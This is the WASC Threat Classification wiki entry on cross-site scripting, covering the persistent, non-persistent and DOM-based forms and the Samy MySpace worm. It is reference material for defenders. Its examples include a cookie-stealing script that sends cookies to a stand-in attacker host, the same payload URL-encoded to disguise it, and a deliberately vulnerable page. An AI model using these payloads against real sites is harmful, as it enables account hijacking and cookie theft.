View
 

Cross Site Scripting

Page history last edited by Robert Auger 13 years, 9 months ago

Project: WASC Threat Classification

Threat Type: Attack

Reference ID: WASC-8

 

Cross-site Scripting

Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.

 

There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.

Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash.

Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.

 

Persistent Attack Example

Many web sites host bulletin boards where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.

Cookie Stealing Code Snippet:

 

<SCRIPT>
document.location= 'http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>

Due to the fact that the attack payload is stored on the server side, this form of xss attack is persistent.

 

Non-Persistent Attack Example

Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen

Portal URL example: http://portal.example/index.php?sessionid=12312312&username=Joe

In the example above we see that the username "Joe" is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account if they managed to get the victim to visit their URL.

A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.

URL Encoded example of Cookie Stealing URL:

 

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Decoded example of Cookie Stealing URL:

 

http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script>

DOM-based Attack Example

Unlike the previous two flavors, DOM based XSS does not require the web server to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from the web server.

Consider an HTML web page which embeds user-supplied content at client side, i.e. at the user's browser. This in fact a well established practice. For example, an HTML page can have JavaScript code that embeds the location/URL of the page into the page. This URL may be partly controlled by the attacker.

In such case, an attacker can force the client (browser) to render the page with parts of the DOM (the location and/or the referrer) controlled by the attacker. When the page is rendered and the data is processed by the page (typically by a client side HTML-embedded script such as JavaScript), the page's code may insecurely embed the data in the page itself, thus delivering the cross-site scripting payload.

For example:

Assume that the URL

http://www.vulnerable.site/welcome.html 

 

contains the following content:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
 
Welcome to our system
…</HTML>

This page will use the value from the "name" parameter in the following manner.

http://www.vulnerable.site/welcome.html?name=Joe

In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as

http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>

 

which will embed the malicious JavaScript payload into the page at runtime.

There are several DOM objects which can serve as a vehicle to such attack:

  • The path/query part of the location/URL object, in which case the server does receive the payload as part of the URL section of the HTTP request.
  • The username and/or password part of the location/URL object (http:// username:password@host/...), in which case the server receives the payload, Base64-encoded, in the Authorization header.
  • The fragment part of the location/URL object, in which case the server does not receive the payload at all (!), because the browser typically does not send this part of the URL.
  • The referrer object, in which case the server receives the payload in the Referer header.

 

It is quite possible that other DOM objects can be used too, particularly if the DOM is extended. At any case, while in some vehicles, the server does receive the payload, it is important to note that the server does not necessarily embed the payload into the response page - the essence of DOM based XSS is that the client-side code does the embedding.

The DOM-based XSS attack concept is extended into the realm of non-JS client side code, such as Flash. A Flash object is invoked in the context of a particular site at the client side, and some "environment" information is made available to it. This "environment" enables the Flash object to query the browser DOM in which it is embedded. For example, the DOM location object can be retrieved via ExternalInterface.call("window.document.location.href.toString"). Alternatively, DOM information such as the Flash movie URL can be retrieved e.g. through _url (see http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary579.html). A Flash (SWF) object may contain insecure code that does not validate user-controlled "environment" values, thus effectively becoming vulnerable to the same kind of attack as a JS code that does not validate its user-controlled DOM objects. For real-world examples, see http://docs.google.com/View?docid=ajfxntc4dmsq_14dt57ssdw

 

Cross-Site Scripting Worms and Malware

The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in MySpace.com’s personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. MySpace was performing some input filtering blacklists to pr event XSS exploits, but they were far from perfect. Using some filter-bypassing techniques, Samy was successful in uploading his code.

When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shutdown its website in order to stop the infection, fix the vulnerability, and perform clean up.

 

 

References

"CERT" Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"

[1] http://www.cert.org/advisories/CA-2000-02.html

 

"The Cross Site Scripting FAQ" - CGISecurity.com

[2] http://www.cgisecurity.com/xss-faq.html

 

"Cross Site Scripting Info"

[3] http://httpd.apache.org/info/css-security/

 

"24 Character entity references in HTML 4"

[4] http://www.w3.org/TR/html4/sgml/entities.html

 

"Understanding Malicious Content Mitigation for Web Developers"

[5] http://www.cert.org/tech_tips/malicious_code_mitigation.html

 

"Cross-site Scripting: Are your web applications vulnerable?", By Kevin Spett - SPI Dynamics

[6] http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

 

"Cross-site Scripting Explained", By Amit Klein

[7] http://crypto.stanford.edu/cs155/papers/CSS.pdf

 

"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann

[8] http://www.technicalinfo.net/papers/CSS.html

 

"DOM Based Cross Site Scripting or XSS of the Third Kind" By Amit Klein (WASC article)

[9] http://www.webappsec.org/projects/articles/071105.shtml

 

"Forging HTTP request headers with Flash" By Amit Klein

[10] http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2006-July/001433.html

 

"Cross-Site Scripting Worm Hits MySpace BetaNews, October 13, 2005"

[11] http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391

 

"Technical explanation of the MySpace worm"

[12] http://namb.la/popular/tech.html

 

"Samy (XSS) Wikipedia Entry"

[13] http://en.wikipedia.org/wiki/Samy_(XSS)

 

"XMLHttpRequest Wikipedia Entry"

[14] http://en.wikipedia.org/wiki/XMLHttpRequest

 

"Feed Injection In Web 2.0: Hacking RSS and Atom Feed Implementations" By Robert Auger

[15] http://www.cgisecurity.com/papers/HackingFeeds.pdf

 

"About URL Security Zones, Microsoft"

[16] http://msdn.microsoft.com/en-us/library/ms537183.aspx

 

Failure to Preserve Web Page Structure ('Cross-site Scripting')

[17] http://cwe.mitre.org/data/definitions/79.html

Comments (0)

You don't have permission to comment on this page.